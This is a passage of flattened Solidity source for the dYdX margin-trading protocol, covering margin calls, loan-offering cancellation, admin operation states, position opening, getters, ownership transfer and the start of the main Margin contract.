canceled */ event MarginCallCanceled( bytes32 indexed positionId, address indexed lender, address indexed owner, uint256 depositAmount ); /** * A loan offering was canceled before it was used. Any amount less than the * total for the loan offering can be canceled. */ event LoanOfferingCanceled( bytes32 indexed loanHash, address indexed payer, address indexed feeRecipient, uint256 cancelAmount ); // ============ Public Implementation Functions ============ function marginCallImpl( MarginState.State storage state, bytes32 positionId, uint256 requiredDeposit ) public { MarginCommon.Position storage position = MarginCommon.getPositionFromStorage(state, positionId); require( position.callTimestamp == 0, "LoanImpl#marginCallImpl: The position has already been margin-called" ); // Ensure lender consent marginCallOnBehalfOfRecurse( position.lender, msg.sender, positionId, requiredDeposit ); position.callTimestamp = TimestampHelper.getBlockTimestamp32(); position.requiredDeposit = requiredDeposit; emit MarginCallInitiated( positionId, position.lender, position.owner, requiredDeposit ); } function cancelMarginCallImpl( MarginState.State storage state, bytes32 positionId ) public { MarginCommon.Position storage position = MarginCommon.getPositionFromStorage(state, positionId); require( position.callTimestamp > 0, "LoanImpl#cancelMarginCallImpl: Position has not been margin-called" ); // Ensure lender consent cancelMarginCallOnBehalfOfRecurse( position.lender, msg.sender, positionId ); state.positions[positionId].callTimestamp = 0; state.positions[positionId].requiredDeposit = 0; emit MarginCallCanceled( positionId, position.lender, position.owner, 0 ); } function cancelLoanOfferingImpl( MarginState.State storage state, address[9] addresses, uint256[7] values256, uint32[4] values32, uint256 cancelAmount ) public returns (uint256) { MarginCommon.LoanOffering memory loanOffering = parseLoanOffering( addresses, values256, values32 ); require( msg.sender == loanOffering.payer, "LoanImpl#cancelLoanOfferingImpl: Only loan offering payer can cancel" ); require( loanOffering.expirationTimestamp > block.timestamp, "LoanImpl#cancelLoanOfferingImpl: Loan offering has already expired" ); uint256 remainingAmount = loanOffering.rates.maxAmount.sub( MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanOffering.loanHash) ); uint256 amountToCancel = Math.min256(remainingAmount, cancelAmount); // If the loan was already fully canceled, then just return 0 amount was canceled if (amountToCancel == 0) { return 0; } state.loanCancels[loanOffering.loanHash] = state.loanCancels[loanOffering.loanHash].add(amountToCancel); emit LoanOfferingCanceled( loanOffering.loanHash, loanOffering.payer, loanOffering.feeRecipient, amountToCancel ); return amountToCancel; } // ============ Private Helper-Functions ============ function marginCallOnBehalfOfRecurse( address contractAddr, address who, bytes32 positionId, uint256 requiredDeposit ) private { // no need to ask for permission if (who == contractAddr) { return; } address newContractAddr = MarginCallDelegator(contractAddr).marginCallOnBehalfOf( msg.sender, positionId, requiredDeposit ); if (newContractAddr != contractAddr) { marginCallOnBehalfOfRecurse( newContractAddr, who, positionId, requiredDeposit ); } } function cancelMarginCallOnBehalfOfRecurse( address contractAddr, address who, bytes32 positionId ) private { // no need to ask for permission if (who == contractAddr) { return; } address newContractAddr = CancelMarginCallDelegator(contractAddr).cancelMarginCallOnBehalfOf( msg.sender, positionId ); if (newContractAddr != contractAddr) { cancelMarginCallOnBehalfOfRecurse( newContractAddr, who, positionId ); } } // ============ Parsing Functions ============ function parseLoanOffering( address[9] addresses, uint256[7] values256, uint32[4] values32 ) private view returns (MarginCommon.LoanOffering memory) { MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({ owedToken: addresses[0], heldToken: addresses[1], payer: addresses[2], owner: addresses[3], taker: addresses[4], positionOwner: addresses[5], feeRecipient: addresses[6], lenderFeeToken: addresses[7], takerFeeToken: addresses[8], rates: parseLoanOfferRates(values256, values32), expirationTimestamp: values256[5], callTimeLimit: values32[0], maxDuration: values32[1], salt: values256[6], loanHash: 0, signature: new bytes(0) }); loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering); return loanOffering; } function parseLoanOfferRates( uint256[7] values256, uint32[4] values32 ) private pure returns (MarginCommon.LoanRates memory) { MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({ maxAmount: values256[0], minAmount: values256[1], minHeldToken: values256[2], interestRate: values32[2], lenderFee: values256[3], takerFee: values256[4], interestPeriod: values32[3] }); return rates; } } // File: contracts/margin/impl/MarginAdmin.sol /** * @title MarginAdmin * @author dYdX * * Contains admin functions for the Margin contract * The owner can put Margin into various close-only modes, which will disallow new position creation */ contract MarginAdmin is Ownable { // ============ Enums ============ // All functionality enabled uint8 private constant OPERATION_STATE_OPERATIONAL = 0; // Only closing functions + cancelLoanOffering allowed (marginCall, closePosition, // cancelLoanOffering, closePositionDirectly, forceRecoverCollateral) uint8 private constant OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY = 1; // Only closing functions allowed (marginCall, closePosition, closePositionDirectly, // forceRecoverCollateral) uint8 private constant OPERATION_STATE_CLOSE_ONLY = 2; // Only closing functions allowed (marginCall, closePositionDirectly, forceRecoverCollateral) uint8 private constant OPERATION_STATE_CLOSE_DIRECTLY_ONLY = 3; // This operation state (and any higher) is invalid uint8 private constant OPERATION_STATE_INVALID = 4; // ============ Events ============ /** * Event indicating the operation state has changed */ event OperationStateChanged( uint8 from, uint8 to ); // ============ State Variables ============ uint8 public operationState; // ============ Constructor ============ constructor() public Ownable() { operationState = OPERATION_STATE_OPERATIONAL; } // ============ Modifiers ============ modifier onlyWhileOperational() { require( operationState == OPERATION_STATE_OPERATIONAL, "MarginAdmin#onlyWhileOperational: Can only call while operational" ); _; } modifier cancelLoanOfferingStateControl() { require( operationState == OPERATION_STATE_OPERATIONAL || operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY, "MarginAdmin#cancelLoanOfferingStateControl: Invalid operation state" ); _; } modifier closePositionStateControl() { require( operationState == OPERATION_STATE_OPERATIONAL || operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY || operationState == OPERATION_STATE_CLOSE_ONLY, "MarginAdmin#closePositionStateControl: Invalid operation state" ); _; } modifier closePositionDirectlyStateControl() { _; } // ============ Owner-Only State-Changing Functions ============ function setOperationState( uint8 newState ) external onlyOwner { require( newState < OPERATION_STATE_INVALID, "MarginAdmin#setOperationState: newState is not a valid operation state" ); if (newState != operationState) { emit OperationStateChanged( operationState, newState ); operationState = newState; } } } // File: contracts/margin/impl/MarginEvents.sol /** * @title MarginEvents * @author dYdX * * Contains events for the Margin contract. * * NOTE: Any Margin function libraries that use events will need to both define the event here * and copy the event into the library itself as libraries don't support sharing events */ contract MarginEvents { // ============ Events ============ /** * A position was opened */ event PositionOpened( bytes32 indexed positionId, address indexed trader, address indexed lender, bytes32 loanHash, address owedToken, address heldToken, address loanFeeRecipient, uint256 principal, uint256 heldTokenFromSell, uint256 depositAmount, uint256 interestRate, uint32 callTimeLimit, uint32 maxDuration, bool depositInHeldToken ); /* * A position was increased */ event PositionIncreased( bytes32 indexed positionId, address indexed trader, address indexed lender, address positionOwner, address loanOwner, bytes32 loanHash, address loanFeeRecipient, uint256 amountBorrowed, uint256 principalAdded, uint256 heldTokenFromSell, uint256 depositAmount, bool depositInHeldToken ); /** * A position was closed or partially closed */ event PositionClosed( bytes32 indexed positionId, address indexed closer, address indexed payoutRecipient, uint256 closeAmount, uint256 remainingAmount, uint256 owedTokenPaidToLender, uint256 payoutAmount, uint256 buybackCostInHeldToken, bool payoutInHeldToken ); /** * Collateral for a position was forcibly recovered */ event CollateralForceRecovered( bytes32 indexed positionId, address indexed recipient, uint256 amount ); /** * A position was margin-called */ event MarginCallInitiated( bytes32 indexed positionId, address indexed lender, address indexed owner, uint256 requiredDeposit ); /** * A margin call was canceled */ event MarginCallCanceled( bytes32 indexed positionId, address indexed lender, address indexed owner, uint256 depositAmount ); /** * A loan offering was canceled before it was used. Any amount less than the * total for the loan offering can be canceled. */ event LoanOfferingCanceled( bytes32 indexed loanHash, address indexed payer, address indexed feeRecipient, uint256 cancelAmount ); /** * Additional collateral for a position was posted by the owner */ event AdditionalCollateralDeposited( bytes32 indexed positionId, uint256 amount, address depositor ); /** * Ownership of a loan was transferred to a new address */ event LoanTransferred( bytes32 indexed positionId, address indexed from, address indexed to ); /** * Ownership of a position was transferred to a new address */ event PositionTransferred( bytes32 indexed positionId, address indexed from, address indexed to ); } // File: contracts/margin/impl/OpenPositionImpl.sol /** * @title OpenPositionImpl * @author dYdX * * This library contains the implementation for the openPosition function of Margin */ library OpenPositionImpl { using SafeMath for uint256; // ============ Events ============ /** * A position was opened */ event PositionOpened( bytes32 indexed positionId, address indexed trader, address indexed lender, bytes32 loanHash, address owedToken, address heldToken, address loanFeeRecipient, uint256 principal, uint256 heldTokenFromSell, uint256 depositAmount, uint256 interestRate, uint32 callTimeLimit, uint32 maxDuration, bool depositInHeldToken ); // ============ Public Implementation Functions ============ function openPositionImpl( MarginState.State storage state, address[11] addresses, uint256[10] values256, uint32[4] values32, bool depositInHeldToken, bytes signature, bytes orderData ) public returns (bytes32) { BorrowShared.Tx memory transaction = parseOpenTx( addresses, values256, values32, depositInHeldToken, signature ); require( !MarginCommon.positionHasExisted(state, transaction.positionId), "OpenPositionImpl#openPositionImpl: positionId already exists" ); doBorrowAndSell(state, transaction, orderData); // Before doStoreNewPosition() so that PositionOpened event is before Transferred events recordPositionOpened( transaction ); doStoreNewPosition( state, transaction ); return transaction.positionId; } // ============ Private Helper-Functions ============ function doBorrowAndSell( MarginState.State storage state, BorrowShared.Tx memory transaction, bytes orderData ) private { BorrowShared.validateTxPreSell(state, transaction); if (transaction.depositInHeldToken) { BorrowShared.doDepositHeldToken(state, transaction); } else { BorrowShared.doDepositOwedToken(state, transaction); } transaction.heldTokenFromSell = BorrowShared.doSell( state, transaction, orderData, MathHelpers.maxUint256() ); BorrowShared.doPostSell(state, transaction); } function doStoreNewPosition( MarginState.State storage state, BorrowShared.Tx memory transaction ) private { MarginCommon.storeNewPosition( state, transaction.positionId, MarginCommon.Position({ owedToken: transaction.loanOffering.owedToken, heldToken: transaction.loanOffering.heldToken, lender: transaction.loanOffering.owner, owner: transaction.owner, principal: transaction.principal, requiredDeposit: 0, callTimeLimit: transaction.loanOffering.callTimeLimit, startTimestamp: 0, callTimestamp: 0, maxDuration: transaction.loanOffering.maxDuration, interestRate: transaction.loanOffering.rates.interestRate, interestPeriod: transaction.loanOffering.rates.interestPeriod }), transaction.loanOffering.payer ); } function recordPositionOpened( BorrowShared.Tx transaction ) private { emit PositionOpened( transaction.positionId, msg.sender, transaction.loanOffering.payer, transaction.loanOffering.loanHash, transaction.loanOffering.owedToken, transaction.loanOffering.heldToken, transaction.loanOffering.feeRecipient, transaction.principal, transaction.heldTokenFromSell, transaction.depositAmount, transaction.loanOffering.rates.interestRate, transaction.loanOffering.callTimeLimit, transaction.loanOffering.maxDuration, transaction.depositInHeldToken ); } // ============ Parsing Functions ============ function parseOpenTx( address[11] addresses, uint256[10] values256, uint32[4] values32, bool depositInHeldToken, bytes signature ) private view returns (BorrowShared.Tx memory) { BorrowShared.Tx memory transaction = BorrowShared.Tx({ positionId: MarginCommon.getPositionIdFromNonce(values256[9]), owner: addresses[0], principal: values256[7], lenderAmount: values256[7], loanOffering: parseLoanOffering( addresses, values256, values32, signature ), exchangeWrapper: addresses[10], depositInHeldToken: depositInHeldToken, depositAmount: values256[8], collateralAmount: 0, // set later heldTokenFromSell: 0 // set later }); return transaction; } function parseLoanOffering( address[11] addresses, uint256[10] values256, uint32[4] values32, bytes signature ) private view returns (MarginCommon.LoanOffering memory) { MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({ owedToken: addresses[1], heldToken: addresses[2], payer: addresses[3], owner: addresses[4], taker: addresses[5], positionOwner: addresses[6], feeRecipient: addresses[7], lenderFeeToken: addresses[8], takerFeeToken: addresses[9], rates: parseLoanOfferRates(values256, values32), expirationTimestamp: values256[5], callTimeLimit: values32[0], maxDuration: values32[1], salt: values256[6], loanHash: 0, signature: signature }); loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering); return loanOffering; } function parseLoanOfferRates( uint256[10] values256, uint32[4] values32 ) private pure returns (MarginCommon.LoanRates memory) { MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({ maxAmount: values256[0], minAmount: values256[1], minHeldToken: values256[2], lenderFee: values256[3], takerFee: values256[4], interestRate: values32[2], interestPeriod: values32[3] }); return rates; } } // File: contracts/margin/impl/OpenWithoutCounterpartyImpl.sol /** * @title OpenWithoutCounterpartyImpl * @author dYdX * * This library contains the implementation for the openWithoutCounterparty * function of Margin */ library OpenWithoutCounterpartyImpl { // ============ Structs ============ struct Tx { bytes32 positionId; address positionOwner; address owedToken; address heldToken; address loanOwner; uint256 principal; uint256 deposit; uint32 callTimeLimit; uint32 maxDuration; uint32 interestRate; uint32 interestPeriod; } // ============ Events ============ /** * A position was opened */ event PositionOpened( bytes32 indexed positionId, address indexed trader, address indexed lender, bytes32 loanHash, address owedToken, address heldToken, address loanFeeRecipient, uint256 principal, uint256 heldTokenFromSell, uint256 depositAmount, uint256 interestRate, uint32 callTimeLimit, uint32 maxDuration, bool depositInHeldToken ); // ============ Public Implementation Functions ============ function openWithoutCounterpartyImpl( MarginState.State storage state, address[4] addresses, uint256[3] values256, uint32[4] values32 ) public returns (bytes32) { Tx memory openTx = parseTx( addresses, values256, values32 ); validate( state, openTx ); Vault(state.VAULT).transferToVault( openTx.positionId, openTx.heldToken, msg.sender, openTx.deposit ); recordPositionOpened( openTx ); doStoreNewPosition( state, openTx ); return openTx.positionId; } // ============ Private Helper-Functions ============ function doStoreNewPosition( MarginState.State storage state, Tx memory openTx ) private { MarginCommon.storeNewPosition( state, openTx.positionId, MarginCommon.Position({ owedToken: openTx.owedToken, heldToken: openTx.heldToken, lender: openTx.loanOwner, owner: openTx.positionOwner, principal: openTx.principal, requiredDeposit: 0, callTimeLimit: openTx.callTimeLimit, startTimestamp: 0, callTimestamp: 0, maxDuration: openTx.maxDuration, interestRate: openTx.interestRate, interestPeriod: openTx.interestPeriod }), msg.sender ); } function validate( MarginState.State storage state, Tx memory openTx ) private view { require( !MarginCommon.positionHasExisted(state, openTx.positionId), "openWithoutCounterpartyImpl#validate: positionId already exists" ); require( openTx.principal > 0, "openWithoutCounterpartyImpl#validate: principal cannot be 0" ); require( openTx.owedToken != address(0), "openWithoutCounterpartyImpl#validate: owedToken cannot be 0" ); require( openTx.owedToken != openTx.heldToken, "openWithoutCounterpartyImpl#validate: owedToken cannot be equal to heldToken" ); require( openTx.positionOwner != address(0), "openWithoutCounterpartyImpl#validate: positionOwner cannot be 0" ); require( openTx.loanOwner != address(0), "openWithoutCounterpartyImpl#validate: loanOwner cannot be 0" ); require( openTx.maxDuration > 0, "openWithoutCounterpartyImpl#validate: maxDuration cannot be 0" ); require( openTx.interestPeriod <= openTx.maxDuration, "openWithoutCounterpartyImpl#validate: interestPeriod must be <= maxDuration" ); } function recordPositionOpened( Tx memory openTx ) private { emit PositionOpened( openTx.positionId, msg.sender, msg.sender, bytes32(0), openTx.owedToken, openTx.heldToken, address(0), openTx.principal, 0, openTx.deposit, openTx.interestRate, openTx.callTimeLimit, openTx.maxDuration, true ); } // ============ Parsing Functions ============ function parseTx( address[4] addresses, uint256[3] values256, uint32[4] values32 ) private view returns (Tx memory) { Tx memory openTx = Tx({ positionId: MarginCommon.getPositionIdFromNonce(values256[2]), positionOwner: addresses[0], owedToken: addresses[1], heldToken: addresses[2], loanOwner: addresses[3], principal: values256[0], deposit: values256[1], callTimeLimit: values32[0], maxDuration: values32[1], interestRate: values32[2], interestPeriod: values32[3] }); return openTx; } } // File: contracts/margin/impl/PositionGetters.sol /** * @title PositionGetters * @author dYdX * * A collection of public constant getter functions that allows reading of the state of any position * stored in the dYdX protocol. */ contract PositionGetters is MarginStorage { using SafeMath for uint256; // ============ Public Constant Functions ============ /** * Gets if a position is currently open. * * @param positionId Unique ID of the position * @return True if the position is exists and is open */ function containsPosition( bytes32 positionId ) external view returns (bool) { return MarginCommon.containsPositionImpl(state, positionId); } /** * Gets if a position is currently margin-called. * * @param positionId Unique ID of the position * @return True if the position is margin-called */ function isPositionCalled( bytes32 positionId ) external view returns (bool) { return (state.positions[positionId].callTimestamp > 0); } /** * Gets if a position was previously open and is now closed. * * @param positionId Unique ID of the position * @return True if the position is now closed */ function isPositionClosed( bytes32 positionId ) external view returns (bool) { return state.closedPositions[positionId]; } /** * Gets the total amount of owedToken ever repaid to the lender for a position. * * @param positionId Unique ID of the position * @return Total amount of owedToken ever repaid */ function getTotalOwedTokenRepaidToLender( bytes32 positionId ) external view returns (uint256) { return state.totalOwedTokenRepaidToLender[positionId]; } /** * Gets the amount of heldToken currently locked up in Vault for a particular position. * * @param positionId Unique ID of the position * @return The amount of heldToken */ function getPositionBalance( bytes32 positionId ) external view returns (uint256) { return MarginCommon.getPositionBalanceImpl(state, positionId); } /** * Gets the time until the interest fee charged for the position will increase. * Returns 1 if the interest fee increases every second. * Returns 0 if the interest fee will never increase again. * * @param positionId Unique ID of the position * @return The number of seconds until the interest fee will increase */ function getTimeUntilInterestIncrease( bytes32 positionId ) external view returns (uint256) { MarginCommon.Position storage position = MarginCommon.getPositionFromStorage(state, positionId); uint256 effectiveTimeElapsed = MarginCommon.calculateEffectiveTimeElapsed( position, block.timestamp ); uint256 absoluteTimeElapsed = block.timestamp.sub(position.startTimestamp); if (absoluteTimeElapsed > effectiveTimeElapsed) { // past maxDuration return 0; } else { // nextStep is the final second at which the calculated interest fee is the same as it // is currently, so add 1 to get the correct value return effectiveTimeElapsed.add(1).sub(absoluteTimeElapsed); } } /** * Gets the amount of owedTokens currently needed to close the position completely, including * interest fees. * * @param positionId Unique ID of the position * @return The number of owedTokens */ function getPositionOwedAmount( bytes32 positionId ) external view returns (uint256) { MarginCommon.Position storage position = MarginCommon.getPositionFromStorage(state, positionId); return MarginCommon.calculateOwedAmount( position, position.principal, block.timestamp ); } /** * Gets the amount of owedTokens needed to close a given principal amount of the position at a * given time, including interest fees. * * @param positionId Unique ID of the position * @param principalToClose Amount of principal being closed * @param timestamp Block timestamp in seconds of close * @return The number of owedTokens owed */ function getPositionOwedAmountAtTime( bytes32 positionId, uint256 principalToClose, uint32 timestamp ) external view returns (uint256) { MarginCommon.Position storage position = MarginCommon.getPositionFromStorage(state, positionId); require( timestamp >= position.startTimestamp, "PositionGetters#getPositionOwedAmountAtTime: Requested time before position started" ); return MarginCommon.calculateOwedAmount( position, principalToClose, timestamp ); } /** * Gets the amount of owedTokens that can be borrowed from a lender to add a given principal * amount to the position at a given time. * * @param positionId Unique ID of the position * @param principalToAdd Amount being added to principal * @param timestamp Block timestamp in seconds of addition * @return The number of owedTokens that will be borrowed */ function getLenderAmountForIncreasePositionAtTime( bytes32 positionId, uint256 principalToAdd, uint32 timestamp ) external view returns (uint256) { MarginCommon.Position storage position = MarginCommon.getPositionFromStorage(state, positionId); require( timestamp >= position.startTimestamp, "PositionGetters#getLenderAmountForIncreasePositionAtTime: timestamp < position start" ); return MarginCommon.calculateLenderAmountForIncreasePosition( position, principalToAdd, timestamp ); } // ============ All Properties ============ /** * Get a Position by id. This does not validate the position exists. If the position does not * exist, all 0's will be returned. * * @param positionId Unique ID of the position * @return Addresses corresponding to: * * [0] = owedToken * [1] = heldToken * [2] = lender * [3] = owner * * Values corresponding to: * * [0] = principal * [1] = requiredDeposit * * Values corresponding to: * * [0] = callTimeLimit * [1] = startTimestamp * [2] = callTimestamp * [3] = maxDuration * [4] = interestRate * [5] = interestPeriod */ function getPosition( bytes32 positionId ) external view returns ( address[4], uint256[2], uint32[6] ) { MarginCommon.Position storage position = state.positions[positionId]; return ( [ position.owedToken, position.heldToken, position.lender, position.owner ], [ position.principal, position.requiredDeposit ], [ position.callTimeLimit, position.startTimestamp, position.callTimestamp, position.maxDuration, position.interestRate, position.interestPeriod ] ); } // ============ Individual Properties ============ function getPositionLender( bytes32 positionId ) external view returns (address) { return state.positions[positionId].lender; } function getPositionOwner( bytes32 positionId ) external view returns (address) { return state.positions[positionId].owner; } function getPositionHeldToken( bytes32 positionId ) external view returns (address) { return state.positions[positionId].heldToken; } function getPositionOwedToken( bytes32 positionId ) external view returns (address) { return state.positions[positionId].owedToken; } function getPositionPrincipal( bytes32 positionId ) external view returns (uint256) { return state.positions[positionId].principal; } function getPositionInterestRate( bytes32 positionId ) external view returns (uint256) { return state.positions[positionId].interestRate; } function getPositionRequiredDeposit( bytes32 positionId ) external view returns (uint256) { return state.positions[positionId].requiredDeposit; } function getPositionStartTimestamp( bytes32 positionId ) external view returns (uint32) { return state.positions[positionId].startTimestamp; } function getPositionCallTimestamp( bytes32 positionId ) external view returns (uint32) { return state.positions[positionId].callTimestamp; } function getPositionCallTimeLimit( bytes32 positionId ) external view returns (uint32) { return state.positions[positionId].callTimeLimit; } function getPositionMaxDuration( bytes32 positionId ) external view returns (uint32) { return state.positions[positionId].maxDuration; } function getPositioninterestPeriod( bytes32 positionId ) external view returns (uint32) { return state.positions[positionId].interestPeriod; } } // File: contracts/margin/impl/TransferImpl.sol /** * @title TransferImpl * @author dYdX * * This library contains the implementation for the transferPosition and transferLoan functions of * Margin */ library TransferImpl { // ============ Public Implementation Functions ============ function transferLoanImpl( MarginState.State storage state, bytes32 positionId, address newLender ) public { require( MarginCommon.containsPositionImpl(state, positionId), "TransferImpl#transferLoanImpl: Position does not exist" ); address originalLender = state.positions[positionId].lender; require( msg.sender == originalLender, "TransferImpl#transferLoanImpl: Only lender can transfer ownership" ); require( newLender != originalLender, "TransferImpl#transferLoanImpl: Cannot transfer ownership to self" ); // Doesn't change the state of positionId; figures out the final owner of loan. // That is, newLender may pass ownership to a different address. address finalLender = TransferInternal.grantLoanOwnership( positionId, originalLender, newLender); require( finalLender != originalLender, "TransferImpl#transferLoanImpl: Cannot ultimately transfer ownership to self" ); // Set state only after resolving the new owner (to reduce the number of storage calls) state.positions[positionId].lender = finalLender; } function transferPositionImpl( MarginState.State storage state, bytes32 positionId, address newOwner ) public { require( MarginCommon.containsPositionImpl(state, positionId), "TransferImpl#transferPositionImpl: Position does not exist" ); address originalOwner = state.positions[positionId].owner; require( msg.sender == originalOwner, "TransferImpl#transferPositionImpl: Only position owner can transfer ownership" ); require( newOwner != originalOwner, "TransferImpl#transferPositionImpl: Cannot transfer ownership to self" ); // Doesn't change the state of positionId; figures out the final owner of position. // That is, newOwner may pass ownership to a different address. address finalOwner = TransferInternal.grantPositionOwnership( positionId, originalOwner, newOwner); require( finalOwner != originalOwner, "TransferImpl#transferPositionImpl: Cannot ultimately transfer ownership to self" ); // Set state only after resolving the new owner (to reduce the number of storage calls) state.positions[positionId].owner = finalOwner; } } // File: contracts/margin/Margin.sol /** * @title Margin * @author dYdX * * This contract is used to facilitate margin trading as per the dYdX protocol */ contract Margin is ReentrancyGuard, MarginStorage, MarginEvents, MarginAdmin, LoanGetters, PositionGetters { using SafeMath for uint256; // ============ Constructor ============ constructor( address vault, address proxy ) public MarginAdmin() { state = MarginState.State({ VAULT: vault, TOKEN_PROXY: proxy }); } // ============ Public State Changing Functions ============ /** * Open a margin position. Called by the margin trader who must provide both a * signed loan offering as well as a DEX Order with which to sell the owedToken. * * @param addresses Addresses corresponding to: * * [0] = position owner * [1] = owedToken * [2] = heldToken * [3] = loan payer * [4] = loan owner * [5] = loan taker * [6] = loan position owner * [7] = loan fee recipient * [8] = loan lender fee token * [9] = loan taker fee token * [10] = exchange wrapper address * * @param values256 Values corresponding to: * * [0] = loan maximum amount * [1] = loan minimum amount * [2] = loan minimum heldToken * [3] = loan lender fee * [4] = loan taker fee * [5] = loan expiration timestamp (in seconds) * [6] = loan salt * [7] = position amount of principal * [8] = deposit amount * [9] = nonce (used to calculate positionId) * * @param values32 Values corresponding to: * * [0] = loan call time limit (in seconds) * [1] = loan maxDuration (in seconds) * [2] = loan interest rate (annual nominal percentage times 10**6) * [3] = loan interest update period (in seconds) * * @param depositInHeldToken True if the trader wishes to pay the margin deposit in heldToken. * False if the margin deposit will be in owedToken * and then sold along with the owedToken borrowed from the lender * @param signature If loan payer is an account, then this must be the tightly-packed * ECDSA V/R/S parameters from signing the loan hash. If loan payer * is a smart contract, these are arbitrary bytes that the contract * will recieve when choosing whether to approve the loan. * @param order Order object to be passed to the exchange wrapper * @return Unique ID for the new position */ function openPosition( address[11] addresses, uint256[10] values256, uint32[4] values32, bool depositInHeldToken, bytes signature, bytes order ) external onlyWhileOperational nonReentrant returns (bytes32) { return OpenPositionImpl.openPositionImpl( state, addresses, values256, values32, depositInHeldToken, signature, order ); } /** * Open a margin position without a counterparty. The caller will serve as both the * lender and the position owner * * @param addresses Addresses corresponding to: * * [0] = position owner * [1] = owedToken * [2] = heldToken * [3] = loan owner * * @param values256 Values corresponding to: * * [0] = principal * [1] = deposit amount * [2] = nonce (used to calculate positionId) * * @param values32 Values corresponding to: * * [0] = call time limit (in seconds) * [1] = maxDuration (in seconds) * [2] = interest rate (annual nominal percentage times 10**6) * [3] = interest update period (in seconds) * * @return Unique ID for the new position */ function openWithoutCounterparty( address[4] addresses, uint256[3] values256, uint32[4] values32 ) external onlyWhileOperational nonReentrant returns (bytes32) { return OpenWithoutCounterpartyImpl.openWithoutCounterpartyImpl( state, addresses, values256, values32 ); } /** * Increase the size of a position. Funds will be borrowed from the loan payer and sold as per * the position. The amount of owedToken borrowed from the lender will be >= the amount of * principal added, as it will incorporate interest already earned by the position so far. * * @param positionId Unique ID of the position * @param addresses Addresses corresponding to: * * [0] = loan payer * [1] = loan taker * [2] = loan position owner * [3] = loan fee recipient * [4] = loan lender fee token * [5] = loan taker fee token * [6] = exchange wrapper address * * @param values256 Values corresponding to: * * [0] = loan maximum amount * [1] = loan minimum amount * [2] = loan minimum heldToken * [3] = loan lender fee * [4] = loan taker fee * [5] = loan expiration timestamp (in seconds) * [6] = loan salt * [7] = amount of principal to add to the position (NOTE: the amount pulled from the lender * will be >= this amount) * * @param values32 Values corresponding to: * * [0] = loan call time limit (in seconds) * [1] = loan maxDuration (in seconds) * * @param depositInHeldToken True if the trader wishes to pay the margin deposit in heldToken. * False if the margin deposit will be pulled in owedToken * and then sold along with the owedToken borrowed from the lender * @param signature If loan payer is an account, then this must be the tightly-packed * ECDSA V/R/S parameters from signing the loan hash. If loan payer * is a smart contract, these are arbitrary bytes that the contract * will recieve when choosing whether to approve the loan. * @param order Order object to be passed to the exchange wrapper * @return Amount of owedTokens pulled from the lender */ function increasePosition( bytes32 positionId, address[7] addresses, uint256[8] values256, uint32[2] values32, bool depositInHeldToken, bytes signature, bytes order ) external onlyWhileOperational nonReentrant returns (uint256) { return IncreasePositionImpl.increasePositionImpl( state, positionId, addresses, values256, values32, depositInHeldToken, signature, order ); } /** * Increase a position directly by putting up heldToken. The caller will serve as both the * lender and the position owner * * @param positionId Unique ID of the position * @param principalToAdd Principal amount to add to the position * @return Amount of heldToken pulled from the msg.sender */ function increaseWithoutCounterparty( bytes32 positionId, uint256 principalToAdd ) external onlyWhileOperational nonReentrant returns (uint256) { return IncreasePositionImpl.increaseWithoutCounterpartyImpl( state, positionId, principalToAdd ); } /** * Close a position. May be called by the owner or with the approval of the owner. May provide * an order and exchangeWrapper to facilitate the closing of the position. The payoutRecipient * is sent the resulting payout. * * @param positionId Unique ID of the position * @param requestedCloseAmount Principal amount of the position to close. The actual amount * closed is also bounded by: * 1) The principal of the position * 2) The amount allowed by the owner if closer != owner * @param payoutRecipient Address of the recipient of tokens paid out from closing * @param exchangeWrapper Address of the exchange wrapper * @param payoutInHeldToken True to pay out the payoutRecipient in heldToken, * False to pay out the payoutRecipient in owedToken * @param order Order object to be passed to the exchange wrapper * @return Values corresponding to: * 1) Principal of position closed * 2) Amount of tokens (heldToken if payoutInHeldtoken is true, * owedToken otherwise) received by the payoutRecipient * 3) Amount of owedToken paid (incl. interest fee) to the lender */ function closePosition( bytes32 positionId, uint256 requestedCloseAmount, address payoutRecipient, address exchangeWrapper, bool payoutInHeldToken, bytes order ) external closePositionStateControl nonReentrant returns (uint256, uint256, uint256) { return ClosePositionImpl.closePositionImpl( state, positionId, requestedCloseAmount, payoutRecipient, exchangeWrapper, payoutInHeldToken, order ); } /** * Helper to close a position by paying owedToken directly rather than using an exchangeWrapper. * * @param positionId Unique ID of the position * @param requestedCloseAmount Principal amount of the position to close. The actual amount * closed is also bounded by: * 1) The principal of the position * 2) The amount allowed by the owner if closer != owner * @param payoutRecipient Address of the recipient of tokens paid out from closing * @return Values corresponding to: * 1) Principal amount of position closed * 2) Amount of heldToken received by the payoutRecipient * 3) Amount of owedToken paid (incl. interest fee) to the lender */ function closePositionDirectly( bytes32 positionId, uint256 requestedCloseAmount, address payoutRecipient ) external closePositionDirectlyStateControl nonReentrant returns (uint256, uint256, uint256) { return ClosePositionImpl.closePositionImpl( state, positionId, requestedCloseAmount, payoutRecipient, address(0), true, new bytes(0) ); } /** * Reduce the size of a position and withdraw a proportional amount of heldToken from the vault. * Must be approved by both the position owner and lender. * * @param positionId Unique ID of the position * @param requestedCloseAmount Principal amount of the position to close. The actual amount * closed is also bounded by: * 1) The principal of the position * 2) The amount allowed by the owner if closer != owner * 3) The amount allowed by the lender if closer != lender * @return Values corresponding to: * 1) Principal amount of position closed * 2) Amount of heldToken received by the msg.sender */ function closeWithoutCounterparty( bytes32 positionId, uint256 requestedCloseAmount, address payoutRecipient ) external closePositionStateControl nonReentrant returns (uint256, uint256) { return CloseWithoutCounterpartyImpl.closeWithoutCounterpartyImpl( state, positionId, requestedCloseAmount, payoutRecipient ); } /** * Margin-call a position. Only callable with the approval of the position lender. After the * call, the position owner will have time equal to the callTimeLimit of the position to close * the position. If the owner does not close the position, the lender can recover the collateral * in the position. * * @param positionId Unique ID of the position * @param requiredDeposit Amount of deposit the position owner will have to put up to cancel * the margin-call. Passing in 0 means the margin call cannot be * canceled by depositing */ function marginCall( bytes32 positionId, uint256 requiredDeposit ) external nonReentrant { LoanImpl.marginCallImpl( state, 